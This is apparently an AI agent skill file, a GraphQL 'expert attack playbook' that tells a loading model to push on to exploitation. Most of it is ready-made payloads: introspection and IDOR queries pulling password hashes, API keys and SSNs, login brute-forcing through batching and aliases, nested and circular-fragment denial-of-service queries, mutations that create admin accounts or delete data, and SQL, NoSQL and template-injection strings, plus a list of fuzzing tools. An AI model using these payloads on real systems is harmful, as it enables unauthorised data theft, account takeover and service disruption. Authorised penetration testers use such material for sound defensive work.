| name | graphql-and-hidden-parameters |
| description | GraphQL and hidden parameter testing playbook. Use when exploring introspection, batching, undocumented fields, hidden parameters, schema abuse, query depth DoS, mutation authorization gaps, subscription abuse, and injection via GraphQL resolvers. |
SKILL: GraphQL and Hidden Parameters — Expert Attack Playbook
AI LOAD INSTRUCTION: GraphQL security testing covers schema discovery via introspection, batching abuse for rate limit bypass, hidden/undocumented field extraction, authorization gaps in nested queries, mutation abuse, subscription WebSocket hijacking, and injection through resolver arguments. Base models often stop at introspection — this skill pushes through to exploitation.
QUICK START
First-pass probes
| Situation | Probe | Why |
|---|
| Confirm GraphQL | {__typename} | Universal GraphQL fingerprint |
| Schema discovery | __schema { types { name } } | Full introspection |
| Field suggestions | Send typo in field name | Error may suggest valid fields |
| Batching abuse | [{query1}, {query2}, ...] | Array of queries bypasses rate limits |
| Hidden fields | Add debug, admin, internal to types | Undocumented fields |
| Injection test | "1' OR '1'='1" in arguments | Resolver may pass to SQL/NoSQL |
First-pass probe set
{__typename}
{__schema { types { name fields { name } } }}
{__type(name: "User") { fields { name type { name } } }}
mutation { __typename }
subscription { __typename }
1. INTROSPECTION AND SCHEMA DISCOVERY
Full Introspection Query
query {
__schema {
types {
name
fields {
name
type {
name
kind
ofType { name kind }
}
args {
name
type { name kind }
}
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
When Introspection is Disabled
- Field suggestions: Send
{usr} → error may respond "Did you mean \"user\"?"
- Error-based discovery:
{__type(name: "User") { name }} may still work
- JS bundle mining: Extract field names from frontend JavaScript bundles
- Mobile APK/IPA: Decompile and search for GraphQL field names
- Known type probes: Try common types (
User, Post, Admin, Config, Token)
Apollo Studio / GraphiQL Exposure
/graphql?explore=1
/altair
/graphiql
/graphql/console
/playground
2. AUTHORIZATION GAPS
IDOR via GraphQL
query { user(id: 1) { name email } }
query { user(id: 2) { name email passwordHash role } }
query {
user(id: 1) {
posts {
comments {
author { email role }
}
}
}
}
Field-Level Access Control Bypass
query { user(id: 1) { name email role apiKey ssn } }
Mutation Authorization
mutation { updateUserRole(id: 2, role: "admin") { success } }
mutation { deleteUser(id: 3) { success } }
mutation { updateConfig(key: "debug", value: "true") { success } }
3. BATCHING AND RATE LIMIT BYPASS
Query Batching
[
{"query": "mutation { login(email: \"victim@x.com\", password: \"pass1\") { token } }"},
{"query": "mutation { login(email: \"victim@x.com\", password: \"pass2\") { token } }"},
{"query": "mutation { login(email: \"victim@x.com\", password: \"pass3\") { token } }"}
]
Alias Abuse
query {
a: login(email: "admin@test.com", password: "password1") { token }
b: login(email: "admin@test.com", password: "password2") { token }
c: login(email: "admin@test.com", password: "password3") { token }
}
4. QUERY DEPTH AND COMPLEXITY
Deep Nesting DoS
query {
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
friends { name }
}
}
}
}
}
}
}
Circular Fragment DoS
query {
...frag
}
fragment frag on User {
friends { ...frag }
}
5. MUTATION ABUSE
Create Without Authorization
mutation {
createUser(email: "attacker@evil.com", password: "pwned", role: "admin") {
id email role
}
}
Update Other Users' Data
mutation {
updateUser(id: 2, email: "attacker@evil.com") {
success
}
}
Delete Operations
mutation { deletePost(id: 1) { success } }
mutation { deleteAllPosts { count } }
mutation { deleteUser(id: 3) { success } }
6. SUBSCRIPTION ABUSE
WebSocket Connection Hijacking
subscription {
newMessage(roomId: "admin-room") {
content
author { name role }
}
}
Data Exfiltration via Subscriptions
subscription {
userUpdated {
email
passwordHash
role
}
}
7. HIDDEN PARAMETER DISCOVERY
Undocumented Fields
- Check
additionalProperties in API schemas
- Frontend code may use richer request bodies than visible UI controls
- Mobile endpoints often carry
role, org, featureFlag, internalFilter fields
- Admin documentation may list fields not in public docs
Debug/Internal Fields
query {
user(id: 1) {
name
email
__debug
_internal
debug
admin
raw
source
}
}
Deprecated Fields
{__type(name: "User") { fields { name isDeprecated deprecationReason } }}
8. INJECTION VIA GRAPHQL
SQL Injection in Resolvers
query {
user(id: "1' OR '1'='1") { name email }
search(text: "' UNION SELECT password FROM users--") { results }
}
NoSQL Injection in Filters
query {
users(filter: "{\"$gt\": \"\"}") { name email }
search(query: {"$where": "sleep(5000)"}) { results }
}
SSTI in Query Arguments
query {
render(template: "{{7*7}}") { output }
search(template: "${7*7}") { results }
}
DECISION TREE
Found GraphQL endpoint?
├── Introspection enabled?
│ ├── YES → Extract full schema, enumerate all types/fields/mutations
│ └── NO → Field suggestions, JS bundle mining, known type probes
│
├── Authorization gaps?
│ ├── Test IDOR: query other users' data by ID
│ ├── Test field-level: request admin/internal fields
│ └── Test mutations: create/update/delete without proper role
│
├── Rate limiting?
│ ├── Query batching: array of queries in single request
│ └── Alias abuse: repeated operations via aliases
│
├── Injection surface?
│ ├── SQL injection in resolver arguments
│ ├── NoSQL injection in filter inputs
│ └── SSTI in template arguments
│
└── DoS potential?
├── Deep nesting (exponential data)
└── Circular fragments (infinite recursion)
TESTING CHECKLIST
MCP TOOLS
| Tool | Use Case |
|---|
graphql_scanner | Automated GraphQL introspection and security scanning |
api_schema_analyzer | Analyze GraphQL schema for security issues |
http_framework_test | Send crafted GraphQL queries with injection payloads |
http_repeater | Replay GraphQL queries and compare responses |
api_fuzzer | Fuzz GraphQL arguments with injection payloads |
browser_agent_inspect | Inspect frontend JS for GraphQL query patterns |
RELATED ROUTING